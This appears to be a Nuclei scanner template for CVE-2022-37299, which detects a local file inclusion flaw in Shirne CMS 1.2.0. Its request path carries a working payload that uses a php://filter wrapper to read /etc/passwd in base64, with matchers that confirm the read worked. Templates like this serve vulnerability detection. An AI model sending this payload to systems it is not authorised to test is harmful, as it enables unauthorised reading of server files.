id: CVE-2022-37299

info:
  name: Shirne CMS 1.2.0 - Local File Inclusion
  author: pikpikcu
  severity: medium
  description: Shirne CMS 1.2.0 is vulnerable to local file inclusion which could cause arbitrary file read via /static/ueditor/php/controller.php.
  reference:
    - https://twitter.com/pikpikcu/status/1568316864690028544
    - https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37299
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-37299
    cwe-id: CWE-22
    epss-score: 0.00519
    cpe: cpe:2.3:a:shirne_cms_project:shirne_cms:1.2.0:*:*:*:*:*:*:*
    epss-percentile: 0.73813
  metadata:
    max-request: 1
    verified: true
    vendor: shirne_cms_project
    product: shirne_cms
  tags: cve,cve2022,shirnecms,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "cm9vd" # root in base64

      - type: word
        part: header
        words:
          - "image/png"

      - type: status
        status:
          - 200